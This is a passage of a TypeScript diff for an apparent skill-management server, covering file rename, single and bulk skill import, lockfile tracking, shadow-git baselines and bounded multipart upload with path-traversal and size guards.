+ );
+ return;
+ }
+
+ // Keep the link graph current for a moved `.md` reference: renamed in
+ // place when both ends are docs, otherwise drop/add the affected side.
+ if (derivedDocumentIndex) {
+ const mutations: DerivedDocumentIndexMutation[] = [];
+ if (fromDocName !== null && toDocName !== null) {
+ try {
+ mutations.push({
+ kind: 'rename',
+ oldDocumentName: fromDocName,
+ newDocumentName: toDocName,
+ markdown: readFileSync(resolve(skillsRoot, body.name, to), 'utf-8'),
+ });
+ } catch {
+ mutations.push({ kind: 'delete', documentName: fromDocName });
+ }
+ } else if (fromDocName !== null) {
+ mutations.push({ kind: 'delete', documentName: fromDocName });
+ } else if (toDocName !== null) {
+ try {
+ mutations.push({
+ kind: 'upsert',
+ documentName: toDocName,
+ markdown: readFileSync(resolve(skillsRoot, body.name, to), 'utf-8'),
+ });
+ } catch {
+ // Unreadable — the next open indexes it fresh.
+ }
+ }
+ await recordDerivedMutationsBestEffort(mutations, 'skill-file-rename');
+ }
+
+ if (body.scope === 'project') {
+ attributeOkArtifactWrite(
+ actor,
+ okArtifactKey('skill', '', body.name),
+ `skill-file-rename: ${body.name}/${from} -> ${to}`,
+ );
+ await commitOkArtifactWrite('skill-file-rename');
+ }
+ signalChannel?.('files');
+ successResponse(
+ res,
+ 200,
+ SkillFileRenameSuccessSchema,
+ {
+ from,
+ to,
+ ...(fromDocName !== null ? { fromDocName } : {}),
+ ...(toDocName !== null ? { toDocName } : {}),
+ },
+ { handler: 'skill-file-rename' },
+ );
+ } catch (err) {
+ log.error({ err }, '[skill-file-rename] failed');
+ if (!res.headersSent) {
errorResponse(
res,
- 400,
- 'urn:ok:error:invalid-request',
- 'Cannot install — no project root is resolved for this server. Skills project into editor host dirs at the project root.',
- { handler: 'skill-install', detail: 'NO_PROJECT_ROOT' },
+ 500,
+ 'urn:ok:error:internal-server-error',
+ 'Failed to rename skill file.',
+ { handler: 'skill-file-rename' },
+ );
+ }
+ }
+ },
+ { handler: 'skill-file-rename', method: 'POST' },
+ );
+
+ // ─── `POST /api/skill/import` — acquire a skill into `.ok/skills` (slice 3) ───
+ // Fetch a skill-dir (remote/local source),
+ // write it via the SAME sanctioned fs-direct content writers the reconcile
+ // path uses (`applySkillWrite` + `applySkillBundleFileWrite`), attribute +
+ // shadow-commit (project scope), and record upstream in `.ok/skills-lock.json`.
+ // Scripts are written as content, NEVER executed.
+
+ /** `https://github.com/owner/repo.git` → `owner`; else undefined. */
+ function publisherFromSource(source: string): string | undefined {
+ const m = /github\.com[/:]([\w.-]+)\//.exec(source);
+ return m ? m[1] : undefined;
+ }
+
+ // Lockfile IO lives in `skills-lock-store.ts`: mutations are serialized per
+ // path and written atomically, which a bare read-then-write here was not. Read
+ // inside `mutateSkillsLock`'s callback, never from a snapshot taken before it.
+ const readSkillsLock = readSkillsLockFile;
+ // Mutation baseline: hash the skill AS IT NOW SITS ON DISK, right after a
+ // sanctioned write. Stored as `localHash`; `skills-list` flags a skill modified
+ // when its current on-disk hash diverges from this. `null` when the dir can't be
+ // read (never happens right after a successful write, but keeps the type honest).
+ function localSkillHash(skillsRoot: string, name: string): string | undefined {
+ return parseSkillDir(resolve(skillsRoot, name))?.contentHash;
+ }
+ // Shadow-repo HEAD right after an artifact commit — the Revert baseline. At this
+ // point HEAD is the commit that just captured the freshly-written skill, so its
+ // subtree holds the installed bytes. `undefined` when there's no shadow repo
+ // (non-git project); Revert stays unavailable, consistent with version history.
+ async function shadowHeadSha(
+ writerId?: string,
+ verifyPathRel?: string,
+ ): Promise<string | undefined> {
+ const shadow = shadowRef?.current;
+ if (!shadow || !writerId) return undefined;
+ // The shadow repo has NO `HEAD`/`main` — writes land on per-writer WIP refs
+ // (`refs/wip/<branch>/<writerId>`, precedent #25). `commitOkArtifactWrite` has
+ // just driven the persistence drain, so the calling actor's WIP ref now points
+ // at a commit whose tree holds the freshly-written skill. Capture THAT (a valid
+ // baseline `restoreSkillVersion` restores from) rather than `rev-parse HEAD`,
+ // which always throws here and left `baselineRef` — hence Revert — unrecorded.
+ //
+ // `verifyPathRel`: concurrent attribution flushes COALESCE, so the awaited
+ // commit can resolve against an EARLIER in-flight flush — the ref then still
+ // points one commit behind (a delete commit got recorded as azure-deploy's
+ // baseline). When given, the head only counts if its tree contains the path;
+ // otherwise re-flush once and re-read. A still-missing path returns
+ // undefined — no baseline beats a WRONG baseline (revert stays hidden).
+ try {
+ const sg = shadowGit(shadow);
+ const readMine = async (): Promise<string | undefined> => {
+ const refs = (await sg.raw('for-each-ref', '--format=%(refname)', 'refs/wip/'))
+ .trim()
+ .split('\n')
+ .filter(Boolean);
+ const mine = refs.find((r) => r.endsWith(`/${writerId}`));
+ if (!mine) return undefined;
+ return (await sg.raw('rev-parse', mine)).trim();
+ };
+ const treeHas = async (sha: string, rel: string): Promise<boolean> => {
+ const out = await sg.raw('ls-tree', '-r', '--name-only', sha, '--', rel);
+ return out.trim().length > 0;
+ };
+ let sha = await readMine();
+ if (
+ sha !== undefined &&
+ verifyPathRel !== undefined &&
+ !(await treeHas(sha, verifyPathRel))
+ ) {
+ await commitOkArtifactWrite('baseline-verify');
+ sha = await readMine();
+ if (sha !== undefined && !(await treeHas(sha, verifyPathRel))) return undefined;
+ }
+ return sha;
+ } catch {
+ return undefined;
+ }
+ }
+ // The writer id the artifact-write commits under (agent/principal); anonymous
+ // writes don't attribute, so there's no WIP ref to baseline from.
+ const artifactWriterId = (actor: ReturnType<typeof extractActorIdentity>): string | undefined =>
+ actor.kind === 'agent' || actor.kind === 'principal' ? actor.writerId : undefined;
+ // Project a freshly written skill into the configured editor dirs now (copy
+ // mode) so it is live immediately, not only after the next reconcile. Strictly
+ // best-effort: a projection failure must never fail the caller.
+ async function projectImportedSkillCopy(args: {
+ skillsRoot: string;
+ name: string;
+ scope: 'project' | 'global';
+ hasScripts: boolean;
+ handler: string;
+ }): Promise<void> {
+ try {
+ const installBase = skillInstallBase(args.scope);
+ if (!installBase) return;
+ const targets = resolveSkillTargets(installBase);
+ if (targets.length === 0) return;
+ const hosts = projectSkill(
+ resolve(args.skillsRoot, args.name),
+ args.name,
+ installBase,
+ targets,
+ 'copy',
+ skillProjectionRoots(args.scope),
+ );
+ if (hosts.length === 0) return;
+ await recordSkillInstall(installBase, args.name, {
+ hosts,
+ scope: args.scope,
+ scripts: args.hasScripts,
+ installedAt: new Date().toISOString(),
+ projection: 'copy',
+ });
+ } catch (projectErr) {
+ log.warn(
+ { skill: args.name, err: projectErr },
+ `${args.handler}: inline projection failed; skill written, reconcile will project on next open`,
+ );
+ }
+ }
+
+ /**
+ * What the shared import spine concluded. The spine returns this rather than
+ * writing the response so the bulk path can run it once per skill against a
+ * SINGLE clone and report per-skill rows; `respondSkillImport` applies the
+ * single-skill HTTP shape.
+ */
+ type SkillImportOutcome =
+ | { ok: true; body: z.infer<typeof SkillImportSuccessSchema> }
+ | {
+ ok: false;
+ status: Parameters<typeof errorResponse>[1];
+ urn: Parameters<typeof errorResponse>[2];
+ title: string;
+ detail?: string;
+ cause?: unknown;
+ };
+
+ /** Apply a spine outcome to a single-skill response (`/api/skill/import`, upload). */
+ function respondSkillImport(res: ServerResponse, outcome: SkillImportOutcome): void {
+ if (outcome.ok) {
+ successResponse(res, 200, SkillImportSuccessSchema, outcome.body, {
+ handler: 'skill-import',
+ });
+ return;
+ }
+ errorResponse(res, outcome.status, outcome.urn, outcome.title, {
+ handler: 'skill-import',
+ ...(outcome.detail !== undefined ? { detail: outcome.detail } : {}),
+ ...(outcome.cause !== undefined ? { cause: outcome.cause } : {}),
+ });
+ }
+
+ // Shared import spine (steps 2-6): given an on-disk skill dir + provenance,
+ // dedupe by content hash, land under a free `-imported` name on collision,
+ // write SKILL.md + bundle files via the sanctioned writers, attribute +
+ // shadow-commit (project scope), record the lockfile entry, and best-effort
+ // project into editor dirs. Returns an outcome; the caller writes the
+ // response. Used by `/api/skill/import` (by-reference), `/api/skill-upload`
+ // (by-bytes), and `/api/skills/import-bulk` (many skills, one clone). The
+ // CALLER owns temp-dir cleanup (its `finally`), so this never cleans up.
+ async function runSkillImport(params: {
+ acquiredDir: string;
+ scope: Parameters<typeof resolveSkillsRoot>[0];
+ sourceLabel: string;
+ ref?: string;
+ publisher?: string;
+ upstreamSkill?: string;
+ actor: Parameters<typeof attributeOkArtifactWrite>[0];
+ /** Skip the default-editor auto-projection — for callers that install
+ * explicitly afterwards (explore preview toggles / custom-path place). */
+ skipProjection?: boolean;
+ }): Promise<SkillImportOutcome> {
+ const { acquiredDir, scope, sourceLabel, ref, publisher, upstreamSkill, actor } = params;
+ if (!projectDir) {
+ return {
+ ok: false,
+ status: 400,
+ urn: 'urn:ok:error:invalid-request',
+ title: 'No project root resolved.',
+ detail: 'NO_PROJECT_ROOT',
+ };
+ }
+ // Pre-flight the caps by stat, BEFORE the parse materializes every byte —
+ // `importedBundleLimitError` below runs on an already-built array, which a
+ // repo of half-gigabyte blobs never reaches.
+ const oversize = acquiredBundleTooLarge(acquiredDir);
+ if (oversize) {
+ return {
+ ok: false,
+ status: 400,
+ urn: 'urn:ok:error:invalid-request',
+ title: 'Skill bundle exceeds import limits.',
+ detail: oversize,
+ };
+ }
+ const acquired = parseSkillDir(acquiredDir);
+ if (!acquired) {
+ return {
+ ok: false,
+ status: 422,
+ urn: 'urn:ok:error:invalid-request',
+ title: 'Source has no readable skill.',
+ };
+ }
+ const limitError = importedBundleLimitError(acquired);
+ if (limitError) {
+ return {
+ ok: false,
+ status: 400,
+ urn: 'urn:ok:error:invalid-request',
+ title: 'Skill bundle exceeds import limits.',
+ detail: limitError,
+ };
+ }
+
+ // 2. Dedupe by contentHash via the lockfile (re-import is a no-op).
+ const lockPath = join(scope === 'project' ? projectDir : skillsHome, ...SKILLS_LOCK_REL);
+ const lock = readSkillsLock(lockPath);
+ // WRITE-PATH INVERSION (store retirement, step 1): NEW imports land
+ // IN-PLACE at the vendor-neutral `.agents/skills` hub — versioned, listed,
+ // and read at their real path from day one. The store gains no new
+ // residents; existing store bundles keep working until their migration.
+ const importBase = scope === 'project' ? contentDir : skillsHome;
+ const importHomeRel = resolveDefaultSkillHomeRel(importBase, scope);
+ const importRoot = resolve(importBase, importHomeRel);
+ const dupName = findByContentHash(lock, acquired.contentHash);
+ if (dupName && resolveSkillDirForRead(scope, dupName) !== null) {
+ return {
+ ok: true,
+ body: {
+ name: dupName,
+ path: `${dupName}/SKILL.md`,
+ created: false,
+ alreadyImported: true,
+ provenance: { source: sourceLabel, ref, contentHash: acquired.contentHash, publisher },
+ warnings: [],
+ },
+ };
+ }
+
+ // 3. Collision with an existing skill → land under a free `-imported` name.
+ // `acquired.name` is attacker-controlled (imported SKILL.md frontmatter).
+ // applySkillWrite's validateName blocks a malformed WRITE, but the existence
+ // probes below resolve the name against skillsRoot — sanitize first so a
+ // `../…` name can't turn firstFreeSkillName into a filesystem existence
+ // oracle. No-op for a normal `[a-z0-9-]` name. (defense-in-depth)
+ const probeName = sanitizeFilename(acquired.name);
+ // Collision probe spans the WHOLE registry (store + every in-place host
+ // dir), not just the import root — a same-name skill at `.claude/skills`
+ // would fork against the new `.agents` bundle.
+ const nameTaken = (n: string) =>
+ resolveSkillDirForRead(scope, n) !== null || existsSync(resolve(importRoot, n, 'SKILL.md'));
+ const collided = nameTaken(probeName);
+ let targetName = probeName;
+ if (collided) {
+ targetName = `${probeName}-imported`;
+ let n = 2;
+ while (nameTaken(targetName)) {
+ targetName = `${probeName}-imported-${n}`;
+ n += 1;
+ }
+ }
+
+ // 4. Write SKILL.md + every bundle file via the sanctioned writers. The
+ // frontmatter is canonicalized to {name,description} (OK's skill model);
+ // upstream version lives in the lockfile, not the SKILL.md.
+ const skillBody = parseFrontmatterDoc(acquired.skillMd).body;
+ const wr = applySkillWrite({
+ skillsRoot: importRoot,
+ name: targetName,
+ body: skillBody,
+ frontmatter: { name: targetName, description: acquired.description },
+ });
+ if (!wr.ok) {
+ return {
+ ok: false,
+ status: 400,
+ urn: 'urn:ok:error:invalid-request',
+ title: 'Failed to write imported skill.',
+ detail: wr.error.code,
+ cause: new Error(wr.error.message),
+ };
+ }
+ const warnings = [...wr.warnings];
+ for (const f of acquired.files) {
+ const br = applySkillBundleFileWrite({
+ skillsRoot: importRoot,
+ name: targetName,
+ relPath: f.relPath,
+ content: f.content,
+ bytes: f.bytes,
+ limits: SKILL_IMPORT_WRITE_LIMITS,
+ });
+ if (!br.ok) {
+ const rollback = applySkillDelete({ skillsRoot: importRoot, name: targetName });
+ return {
+ ok: false,
+ status: rollback.ok ? 400 : 500,
+ urn: rollback.ok ? 'urn:ok:error:invalid-request' : 'urn:ok:error:internal-server-error',
+ title: 'Failed to write the complete imported skill bundle.',
+ detail: `${f.relPath}: ${br.error.code}`,
+ cause: new Error(
+ rollback.ok
+ ? br.error.message
+ : `${br.error.message}; rollback: ${rollback.error.message}`,
+ ),
+ };
+ }
+ }
+
+ // 5. Attribute + shadow-commit (project scope; global is unversioned).
+ if (scope === 'project') {
+ // Attribute under the content-doc key (`<dir>/SKILL`) that `/api/history`
+ // filters on — same fix as the create path; the bare dir key fell through
+ // the OkActor match so an imported skill's first version never showed in
+ // (or was restorable from) its history.
+ attributeOkArtifactWrite(
+ actor,
+ `${importHomeRel}/${targetName}/SKILL`,
+ `skill-import: ${sourceLabel} -> ${importHomeRel}/${targetName}/SKILL.md`,
+ );
+ await commitOkArtifactWrite('skill-import');
+ }
+
+ // 6. Record upstream in the lockfile.
+ const importedLocalHash = localSkillHash(importRoot, targetName);
+ const importedPlugin = inspectPluginSource(sourceLabel);
+ // baselineRef only for project scope — global is unversioned (no commit above).
+ const importedBaselineRef =
+ scope === 'project'
+ ? await shadowHeadSha(artifactWriterId(actor), `${importHomeRel}/${targetName}`)
+ : undefined;
+ // Re-read inside the serialized mutation: `lock` above was snapshotted before
+ // the fetch, and writing that snapshot back would erase any entry a
+ // concurrent import added while this one was cloning.
+ await mutateSkillsLock(lockPath, (current) =>
+ upsertLockEntry(current, targetName, {
+ source: sourceLabel,
+ ...(importedPlugin ? { pluginProvider: importedPlugin.provider } : {}),
+ ref,
+ contentHash: acquired.contentHash,
+ files: acquired.files.map((file) => file.relPath),
+ ...(importedLocalHash !== undefined ? { localHash: importedLocalHash } : {}),
+ ...(importedBaselineRef !== undefined ? { baselineRef: importedBaselineRef } : {}),
+ publisher,
+ importedAt: new Date().toISOString(),
+ ...(upstreamSkill !== undefined ? { skill: upstreamSkill } : {}),
+ }),
+ );
+
+ // Fan the freshly-imported IN-PLACE skill out to the configured editors so
+ // it is live in Claude/Cursor/Codex on import (guarded copy/link
+ // primitives — never clobbers a differing dir). Best-effort: a projection
+ // failure must not fail the import. Skipped when the caller installs
+ // explicitly afterwards (`install: false`). Copies auto-pair into the
+ // placements ledger at the next re-sync, so forward refresh covers them.
+ if (params.skipProjection !== true) {
+ try {
+ const targets = resolveSkillTargets(importBase);
+ if (targets.length > 0) {
+ const canonicalAbs = resolve(importRoot, targetName);
+ // A re-import lands on a skill that may already occupy editor dirs as
+ // copies; only a genuinely fresh one takes the symlink default.
+ const projectionRoots = skillProjectionRoots(scope);
+ // A re-import can land on dests that already exist; those that are
+ // symlinks keep the symlink default, matching what is already there.
+ const occupied = targets.filter((editor) => {
+ const dest = skillHostDir(importBase, editor, targetName, projectionRoots);
+ return dest !== null && dest !== canonicalAbs && existsSync(dest);
+ });
+ const occupiedLinks = occupied.filter((editor) => {
+ const dest = skillHostDir(importBase, editor, targetName, projectionRoots);
+ try {
+ return dest !== null && lstatSync(dest).isSymbolicLink();
+ } catch {
+ return false;
+ }
+ });
+ projectInPlaceSkill({
+ canonicalAbs,
+ canonicalHash: parseSkillDir(canonicalAbs)?.contentHash ?? '',
+ canonicalRootRel: importHomeRel,
+ name: targetName,
+ cwd: importBase,
+ targets,
+ mode: effectiveInstallMode(scope, targetName, {
+ hosts: ['<source>', ...occupied],
+ linkedHosts: occupiedLinks,
+ }),
+ roots: skillProjectionRoots(scope),
+ });
+ }
+ } catch (err) {
+ getLogger('skill-import').warn(
+ { err, skill: targetName },
+ 'post-import editor fan-out failed (import kept)',
+ );
+ }
+ }
+
+ signalChannel?.('files');
+ return {
+ ok: true,
+ body: {
+ name: targetName,
+ path: `${importHomeRel}/${targetName}/SKILL.md`,
+ created: wr.created,
+ alreadyImported: false,
+ ...(collided ? { collisionRenamedFrom: acquired.name } : {}),
+ provenance: { source: sourceLabel, ref, contentHash: acquired.contentHash, publisher },
+ warnings,
+ },
+ };
+ }
+
+ const handleSkillImport = withValidation(
+ SkillImportRequestSchema,
+ async (_req, res, body) => {
+ let cleanup: () => void = () => {};
+ try {
+ if (!projectDir) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'No project root resolved.', {
+ handler: 'skill-import',
+ detail: 'NO_PROJECT_ROOT',
+ });
+ return;
+ }
+ const actor = extractActorIdentity(
+ body as unknown as Record<string, unknown>,
+ getPrincipal,
+ );
+ if (actor.kind === 'invalid-summary') {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Summary must be a string.', {
+ handler: 'skill-import',
+ });
+ return;
+ }
+ const scope = body.scope;
+
+ // 1. Resolve the acquired skill + its provenance.
+ let acquiredDir: string | null = null;
+ let sourceLabel: string;
+ let ref: string | undefined;
+ let publisher: string | undefined;
+ // The picked upstream skill dir basename — recorded in the lockfile so a
+ // later reimport re-selects the same skill in a multi-skill source.
+ let upstreamSkill: string | undefined;
+
+ {
+ const rawSource = body.source;
+ try {
+ const skillsSh = await resolveSkillsShImportSource(rawSource, body.skill);
+ const resolvedSource = skillsSh?.source ?? rawSource;
+ const selectedSkill = body.skill ?? skillsSh?.skill;
+ const spec = skillsSh?.spec ?? parseSource(resolvedSource);
+ if (!spec) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'Unrecognized import source.',
+ {
+ handler: 'skill-import',
+ detail:
+ 'Expected owner/repo, a git URL, a website source, a local path, or a skills.sh URL.',
+ },
+ );
+ return;
+ }
+ if (rejectDisallowedGitSpec(res, spec, 'skill-import')) return;
+ const fetched = await fetchSource(spec);
+ cleanup = fetched.cleanup;
+ ref = fetched.ref;
+ const dirs = discoverSkillDirs(fetched.dir);
+ if (dirs.length === 0) {
+ errorResponse(res, 404, 'urn:ok:error:not-found', 'No SKILL.md found in source.', {
+ handler: 'skill-import',
+ });
+ return;
+ }
+ let pick = dirs[0];
+ if (selectedSkill) {
+ // Match the dir basename OR the SKILL.md frontmatter `name` — skills.sh
+ // (and the Explore tab that forwards its result) uses the frontmatter
+ // name, which often differs from the on-disk folder (e.g. folder
+ // `react-native-skills` vs frontmatter `vercel-react-native-skills`).
+ const found =
+ dirs.find((d) => d.name === selectedSkill) ??
+ // Metadata-only: this probe just matches a name. `parseSkillDir`
+ // would read and hash every byte of every bundle in the clone,
+ // before the size pre-flight below can refuse any of it.
+ dirs.find((d) => readSkillDirMeta(d.dir)?.name === selectedSkill);
+ if (!found) {
+ errorResponse(res, 404, 'urn:ok:error:not-found', 'Named skill not in source.', {
+ handler: 'skill-import',
+ detail: `--skill "${selectedSkill}" not among: ${dirs.map((d) => d.name).join(', ')}.`,
+ });
+ return;
+ }
+ pick = found;
+ } else if (dirs.length > 1) {
+ errorResponse(
+ res,
+ 400,
+ 'urn:ok:error:invalid-request',
+ 'Source has multiple skills; pass `skill` to choose one.',
+ { handler: 'skill-import', detail: dirs.map((d) => d.name).join(', ') },
+ );
+ return;
+ }
+ acquiredDir = pick.dir;
+ upstreamSkill = pick.name;
+ sourceLabel = rawSource;
+ publisher = skillsSh?.publisher ?? publisherFromSource(resolvedSource);
+ } catch (e) {
+ if (e instanceof SkillFetchError) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Could not fetch source.', {
+ handler: 'skill-import',
+ cause: e,
+ });
+ return;
+ }
+ throw e;
+ }
+ }
+
+ if (!acquiredDir) {
+ errorResponse(res, 422, 'urn:ok:error:invalid-request', 'Source has no readable skill.', {
+ handler: 'skill-import',
+ });
+ return;
+ }
+ // Steps 2-6 (dedupe → collision → write → attribute → lockfile → project)
+ // are the shared import spine, also used by the upload endpoint.
+ respondSkillImport(
+ res,
+ await runSkillImport({
+ acquiredDir,
+ scope,
+ sourceLabel,
+ ref,
+ publisher,
+ upstreamSkill,
+ actor,
+ skipProjection: body.install === false,
+ }),
+ );
+ } catch (e) {
+ errorResponse(res, 500, 'urn:ok:error:internal-server-error', 'Failed to import skill.', {
+ handler: 'skill-import',
+ cause: e,
+ });
+ } finally {
+ // Every exit (early-return error paths included) drops the temp clone.
+ cleanup();
+ }
+ },
+ { handler: 'skill-import', method: 'POST' },
+ );
+
+ // `POST /api/skills/import-bulk` — acquire MANY named skills from one source
+ // in a SINGLE clone. The plugin case: one repo bundles dozens of skills, and
+ // driving the single-skill endpoint per skill re-clones that repo every time.
+ // Identical spine, provenance, dedupe, and collision rules — the only
+ // differences are the amortized fetch and per-skill results, so one oversized
+ // bundle or misspelled name never fails the rest of the selection.
+ const handleSkillsImportBulk = withValidation(
+ SkillsImportBulkRequestSchema,
+ async (_req, res, body) => {
+ let cleanup: () => void = () => {};
+ try {
+ if (!projectDir) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'No project root resolved.', {
+ handler: 'skills-import-bulk',
+ detail: 'NO_PROJECT_ROOT',
+ });
+ return;
+ }
+ const actor = extractActorIdentity(
+ body as unknown as Record<string, unknown>,
+ getPrincipal,
+ );
+ if (actor.kind === 'invalid-summary') {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Summary must be a string.', {
+ handler: 'skills-import-bulk',
+ });
+ return;
+ }
+ const rawSource = body.source;
+ // Two source shapes, and the difference is exactly where the fetch sits:
+ // - repo / local path: ONE clone holds every skill, so fetch once and
+ // pick each selected dir out of it (the whole point of this endpoint).
+ // - website (`.well-known` skill index): a fetch materializes ONE named
+ // skill's declared files — there is no bundle on disk to amortize, so
+ // each selected skill is its own (cheap, clone-free) fetch below.
+ let siteSpec: (SourceSpec & { kind: 'well-known' }) | null = null;
+ let siteIndex: WellKnownIndex | null = null;
+ let dirs: ReturnType<typeof discoverSkillDirs> = [];
+ let ref: string | undefined;
+ let publisher: string | undefined;
+ try {
+ // Resolution is per-SKILL by contract: a website source refuses to
+ // resolve without a name (there is no repo to point at, only the
+ // index's per-skill entries), and a skills.sh page URL looks its repo
+ // up by one. Any of the requested names answers the same question, so
+ // the first is the probe — the site branch below then re-fetches with
+ // each selected name in turn, and the repo branch matches all of them
+ // against the single clone.
+ const skillsSh = await resolveSkillsShImportSource(rawSource, body.skills[0]);
+ const resolvedSource = skillsSh?.source ?? rawSource;
+ const spec = skillsSh?.spec ?? parseSource(resolvedSource);
+ if (!spec) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Unrecognized import source.', {
+ handler: 'skills-import-bulk',
+ detail:
+ 'Expected owner/repo, a git URL, a website source, a local path, or a skills.sh URL.',
+ });
+ return;
+ }
+ if (rejectDisallowedGitSpec(res, spec, 'skills-import-bulk')) return;
+ publisher = skillsSh?.publisher ?? publisherFromSource(resolvedSource);
+ if (spec.kind === 'well-known') {
+ siteSpec = spec;
+ // Read the origin's index ONCE for the whole selection. Each
+ // per-skill fetch would otherwise re-read it (and re-probe both
+ // candidate index paths), which is a wasted round trip per skill.
+ siteIndex = await readWellKnownIndex(spec.origin);
+ } else {
+ const fetched = await fetchSource(spec);
+ cleanup = fetched.cleanup;
+ ref = fetched.ref;
+ dirs = discoverSkillDirs(fetched.dir);
+ }
+ } catch (e) {
+ if (e instanceof SkillFetchError) {
+ errorResponse(res, 400, 'urn:ok:error:invalid-request', 'Could not fetch source.', {
+ handler: 'skills-import-bulk',
+ cause: e,
+ });
+ return;
+ }
+ throw e;
+ }
+ if (siteSpec === null && dirs.length === 0) {
+ errorResponse(res, 404, 'urn:ok:error:not-found', 'No SKILL.md found in source.', {
+ handler: 'skills-import-bulk',
+ });
+ return;
+ }
+ const results: SkillImportBulkResult[] = [];
+ // Sequential by design: each import writes files, attributes, and (project
+ // scope) shadow-commits — the git index is not concurrency-safe here.
+ for (const requested of new Set(body.skills)) {
+ let acquiredDir: string;
+ let upstreamSkill: string;
+ let perSkill: () => void = () => {};
+ if (siteSpec !== null) {
+ try {
+ const one = await fetchSource(
+ { ...siteSpec, skill: requested },
+ siteIndex ? { index: siteIndex } : {},
+ );
+ acquiredDir = one.dir;
+ perSkill = one.cleanup;
+ upstreamSkill = requested;
+ } catch (e) {
+ // The site index is the authority on what exists there, so a miss
+ // reads the same as a name absent from a clone.
+ results.push({
+ requested,
+ status: e instanceof SkillFetchError ? 'not-found' : 'failed',
+ warnings: [],
+ ...(e instanceof SkillFetchError ? {} : { error: String(e) }),
+ });
+ continue;
+ }
+ } else {
+ // Same two-way match as the single import: dir basename OR the
+ // SKILL.md frontmatter name (they routinely differ).
+ const found =
+ dirs.find((d) => d.name === requested) ??
+ dirs.find((d) => parseSkillDir(d.dir)?.name === requested);
+ if (!found) {
+ results.push({ requested, status: 'not-found', warnings: [] });
+ continue;
+ }
+ acquiredDir = found.dir;
+ upstreamSkill = found.name;
+ }
+ try {
+ const outcome = await runSkillImport({
+ acquiredDir,
+ scope: body.scope,
+ sourceLabel: rawSource,
+ ref,
+ publisher,
+ upstreamSkill,
+ actor,
+ skipProjection: body.install === false,
+ });
+ if (!outcome.ok) {
+ getLogger('skills-import-bulk').warn(
+ { skill: requested, err: outcome.cause, detail: outcome.detail },
+ 'bulk import: one skill failed (rest continue)',
+ );
+ results.push({
+ requested,
+ status: 'failed',
+ warnings: [],
+ error: outcome.detail ?? outcome.title,
+ });
+ continue;
+ }
+ results.push({
+ requested,
+ status: outcome.body.alreadyImported ? 'already-imported' : 'imported',
+ name: outcome.body.name,
+ ...(outcome.body.collisionRenamedFrom !== undefined
+ ? { collisionRenamedFrom: outcome.body.collisionRenamedFrom }
+ : {}),
+ warnings: outcome.body.warnings,
+ });
+ } catch (e) {
+ // Failure isolation is the contract of this endpoint, and the spine
+ // can THROW as well as return a failure outcome — an unreadable
+ // bundle dir (`statSync` EACCES/EPERM, or an ENOENT in the TOCTOU
+ // window), a lockfile write that hits ENOSPC. Without this catch one
+ // such skill aborts the selection and every already-imported result
+ // is lost with it, since the response is only written after the loop.
+ getLogger('skills-import-bulk').warn(
+ { skill: requested, err: e },
+ 'bulk import: one skill threw (rest continue)',
+ );
+ results.push({
+ requested,
+ status: 'failed',
+ warnings: [],
+ error: e instanceof Error ? e.message : String(e),
+ });
+ } finally {
+ perSkill();
+ }
+ }
+ successResponse(
+ res,
+ 200,
+ SkillsImportBulkSuccessSchema,
+ {
+ results,
+ imported: results.filter((r) => r.status === 'imported').length,
+ alreadyImported: results.filter((r) => r.status === 'already-imported').length,
+ failed: results.filter((r) => r.status === 'failed' || r.status === 'not-found').length,
+ },
+ { handler: 'skills-import-bulk' },
+ );
+ } catch (e) {
+ errorResponse(res, 500, 'urn:ok:error:internal-server-error', 'Failed to import skills.', {
+ handler: 'skills-import-bulk',
+ cause: e,
+ });
+ } finally {
+ // One clone for the whole selection; dropped on every exit path.
+ cleanup();
+ }
+ },
+ { handler: 'skills-import-bulk', method: 'POST' },
+ );
+
+ // Upload-intake bounds (flood + zip-bomb guards). These are intentionally
+ // tighter than the shared bulk-import policy and cap raw ingress before we
+ // unpack or hand files to the sanctioned writers.
+ const UPLOAD_MAX_FILES = 200;
+ const UPLOAD_MAX_ENTRY_BYTES = 8 * 1024 * 1024;
+ const UPLOAD_MAX_TOTAL_BYTES = 32 * 1024 * 1024;
+
+ /**
+ * Resolve a client-supplied relative path under `root`, rejecting anything that
+ * escapes it (absolute paths, `..`, drive-letter, symlink-free lexical check).
+ * Returns the absolute path, or null when the entry is unsafe (zip-slip).
+ */
+ function resolveUploadPath(root: string, rel: string): string | null {
+ const norm = rel.split('\\').join('/').replace(/^\/+/, '');
+ if (norm === '' || norm.split('/').some((seg) => seg === '..')) return null;
+ const abs = resolve(root, norm);
+ if (abs !== root && !abs.startsWith(root + sep)) return null;
+ return abs;
+ }
+
+ interface UploadedPart {
+ relPath: string;
+ data: Buffer;
+ }
+
+ /** Collect every multipart file part into a bounded in-memory buffer. */
+ function readSkillUploadParts(req: IncomingMessage): Promise<UploadedPart[]> {
+ return new Promise((resolveP, reject) => {
+ let bb: ReturnType<typeof busboy>;
+ try {
+ bb = busboy({
+ headers: req.headers,
+ limits: {
+ files: UPLOAD_MAX_FILES,
+ fields: 10,
+ fieldSize: 2 * 1024,
+ fileSize: UPLOAD_MAX_ENTRY_BYTES,
+ },
+ });
+ } catch (err) {
+ reject(err);
+ return;
+ }
+ const parts: UploadedPart[] = [];
+ let total = 0;
+ let aborted: Error | null = null;
+ // Tear down the request the instant a limit is breached so the rest of a
+ // hostile multipart body is never buffered into memory (busboy's own
+ // per-file/file-count limits would still admit UPLOAD_MAX_FILES *
+ // UPLOAD_MAX_ENTRY_BYTES before `close` fires — the total-size guard below
+ // is what actually bounds memory).
+ const abort = (err: Error) => {
+ if (aborted) return;
+ aborted = err;
+ req.unpipe(bb);
+ req.destroy();
+ bb.destroy();
+ reject(err);
+ };
+ bb.on('file', (_field, stream, info) => {
+ const chunks: Buffer[] = [];
+ let truncated = false;
+ stream.on('data', (c: Buffer) => {
+ if (aborted) return;
+ total += c.length;
+ if (total > UPLOAD_MAX_TOTAL_BYTES) {
+ abort(new Error('Upload too large.'));
+ return;
+ }
+ chunks.push(c);
+ });
+ stream.on('limit', () => {
+ truncated = true;
+ });
+ stream.on('end', () => {
+ if (aborted) return;
+ if (truncated) {
+ aborted = new Error(`File "${info.filename}" exceeds the per-file size limit.`);
+ return;
+ }
